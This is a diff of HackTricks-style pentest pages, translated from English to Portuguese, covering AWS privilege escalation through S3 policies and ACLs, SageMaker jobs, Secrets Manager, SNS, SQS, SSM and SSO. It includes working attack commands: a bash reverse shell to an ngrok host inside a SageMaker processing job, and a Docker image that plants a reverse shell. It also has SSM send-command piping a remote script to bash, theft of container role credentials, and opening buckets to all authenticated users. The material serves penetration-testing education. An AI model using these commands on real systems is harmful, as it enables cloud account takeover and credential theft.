[https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +Estas são as permissões para **obter e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam armazenamento S3 para armazenar **arquivos de configuração**.\ +Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis** neles.\ +Um atacante com **acesso de gravação** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\ +Aqui estão alguns exemplos: -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- Se uma instância EC2 estiver armazenando os **dados do usuário em um bucket S3**, um atacante poderia modificá-los para **executar código arbitrário dentro da instância EC2**. ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +Um atacante, que precisa ser **da mesma conta**, caso contrário, o erro `The specified method is not allowed will trigger`, com essa permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s), permitindo-lhe ler, escrever, modificar, excluir e expor buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - "Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +Um atacante poderia abusar dessas permissões para **conceder a si mesmo mais acesso** a buckets específicos.\ +Observe que o atacante não precisa ser da mesma conta. Além disso, o acesso de gravação ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +Um atacante poderia abusar dessas permissões para conceder a si mesmo mais acesso a objetos específicos dentro de buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +Um atacante com esses privilégios deve ser capaz de definir um Acl para uma versão específica do objeto. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..2ff9950e4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -4,70 +4,62 @@ {{#include ../../../banners/hacktricks-training.md}} -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Start creating a noteboook with the IAM Role to access attached to it: +### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` +Comece a criar um notebook com a função IAM para acessar anexada a ele: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nova instância de notebook criada. Podemos então usar a API `create-presigned-notebook-instance-url` para gerar uma URL que podemos usar para acessar a instância de notebook assim que estiver pronta: ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, em seguida, role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”. -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +Agora é possível acessar as credenciais de metadados da IAM Role. -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Impacto Potencial:** Privesc para a função de serviço sagemaker especificada. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +Se houver **notebooks Jupyter já em execução** nele e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**Impacto Potencial:** Privesc para o papel de serviço sagemaker anexado. ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +Um atacante com essas permissões pode fazer **sagemaker executar um processingjob** com um papel sagemaker anexado a ele. O atacante pode indicar a definição do contêiner que será executado em uma **instância de conta ECS gerenciada pela AWS**, e **roubar as credenciais do papel IAM anexado**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Impacto Potencial:** Privesc para o papel de serviço sagemaker especificado. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +Um atacante com essas permissões será capaz de criar um trabalho de treinamento, **executando um contêiner arbitrário** nele com um **papel anexado**. Portanto, o ataque poderá roubar as credenciais do papel. > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> Este cenário é mais difícil de explorar do que o anterior porque você precisa gerar uma imagem Docker que enviará o rev shell ou credenciais diretamente para o atacante (você não pode indicar um comando inicial na configuração do trabalho de treinamento). > > ```bash -> # Create docker image +> # Criar imagem docker > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## Note que o trabalho de treinamento vai chamar um executável chamado "train" +> ## É por isso que estou colocando o rev shell em /bin/train +> ## Defina os valores de e > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # Enviá-lo para ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Impacto Potencial:** Privesc para o papel de serviço sagemaker especificado. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +Um atacante com essas permissões poderá (potencialmente) criar um **trabalho de treinamento de hiperparâmetros**, **executando um contêiner arbitrário** nele com um **papel anexado**.\ +&#xNAN;_I não explorei devido à falta de tempo, mas parece semelhante aos exploits anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._ -## References +## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..2be9d7127 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Para mais informações sobre o Secrets Manager, consulte: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +Um atacante com esta permissão pode obter o **valor salvo dentro de um segredo** no AWS **Secretsmanager**. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**Impacto Potencial:** Acesso a dados altamente sensíveis dentro do serviço AWS Secrets Manager. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +Com as permissões anteriores, é possível **dar acesso a outros principais/contas (mesmo externos)** para acessar o **segredo**. Note que, para **ler segredos criptografados** com uma chave KMS, o usuário também precisa ter **acesso à chave KMS** (mais informações na [página de Enumeração KMS](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..256f8d95d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos. ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Um atacante poderia se inscrever em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicações que dependem do tópico. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**Impacto Potencial**: Acesso não autorizado a mensagens (informações sensíveis), interrupção do serviço para aplicações que dependem do tópico afetado. ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, potencialmente obtendo permissões adicionais. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal para aplicações que dependem do tópico. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..ee25cde6d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +Um atacante poderia usar essa permissão para conceder acesso não autorizado a usuários ou serviços a uma fila SQS, criando novas políticas ou modificando políticas existentes. Isso poderia resultar em acesso não autorizado às mensagens na fila ou manipulação da fila por entidades não autorizadas. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` +**Impacto Potencial**: Acesso não autorizado à fila, exposição de mensagens ou manipulação da fila por usuários ou serviços não autorizados. -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. +### `sqs:SendMessage`, `sqs:SendMessageBatch` +Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Um atacante poderia receber, deletar ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção de serviço para aplicações que dependem dessas mensagens. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Impacto Potencial**: Roubar informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..7898385b3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +Para mais informações sobre SSM, consulte: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está em execução dentro dele. ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode apenas capturar o rev shell localmente com: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em funcionamento. ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante ao SSH em instâncias** que executam o Agente SSM da Amazon e **comprometer o Papel IAM** em execução dentro dele. ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Para iniciar uma sessão, você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em funcionamento. -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### Privesc para ECS +Quando as **tarefas ECS** são executadas com **`ExecuteCommand` habilitado**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do contêiner.\ +De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin do SSM Session Manager necessário para que isso funcione)\ +Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro das tarefas ECS** com essa opção habilitada apenas executando: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**Impacto Potencial:** Privesc direto para os papéis `ECS`IAM anexados a tarefas em execução com `ExecuteCommand` habilitado. ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +Um atacante com a permissão **`ssm:ResumeSession`** pode re-**iniciar uma sessão semelhante ao SSH em instâncias** executando o Amazon SSM Agent com um estado de sessão SSM **desconectado** e **comprometer o Papel IAM** em execução dentro dele. ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em execução e sessões desconectadas. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +Um atacante com as permissões mencionadas será capaz de listar os **parâmetros SSM** e **lê-los em texto claro**. Nesses parâmetros, você pode frequentemente **encontrar informações sensíveis** como chaves SSH ou chaves de API. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**Impacto Potencial:** Encontrar informações sensíveis dentro dos parâmetros. ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +Um atacante com esta permissão pode listar todos os **comandos** enviados e, esperançosamente, encontrar **informações sensíveis** neles. ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**Impacto Potencial:** Encontrar informações sensíveis dentro das linhas de comando. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +Um atacante com essas permissões pode listar todos os **comandos** enviados e **ler a saída** gerada, na esperança de encontrar **informações sensíveis** nela. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` - -**Potential Impact:** Find sensitive information inside the output of the command lines. +**Impacto Potencial:** Encontre informações sensíveis dentro da saída dos comandos. ### Codebuild -You can also use SSM to get inside a codebuild project being built: +Você também pode usar SSM para acessar um projeto de codebuild que está sendo construído: {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..aecf0e18f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +Para mais informações sobre o AWS Identity Center / AWS SSO, consulte: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Note que por **padrão**, apenas **usuários** com permissões **da** **Conta de Gerenciamento** poderão acessar e **controlar o IAM Identity Center**.\ +> Usuários de outras contas só podem permitir isso se a conta for um **Administrador Delegado.**\ +> [Verifique a documentação para mais informações.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Password~~ +### ~~Redefinir Senha~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an 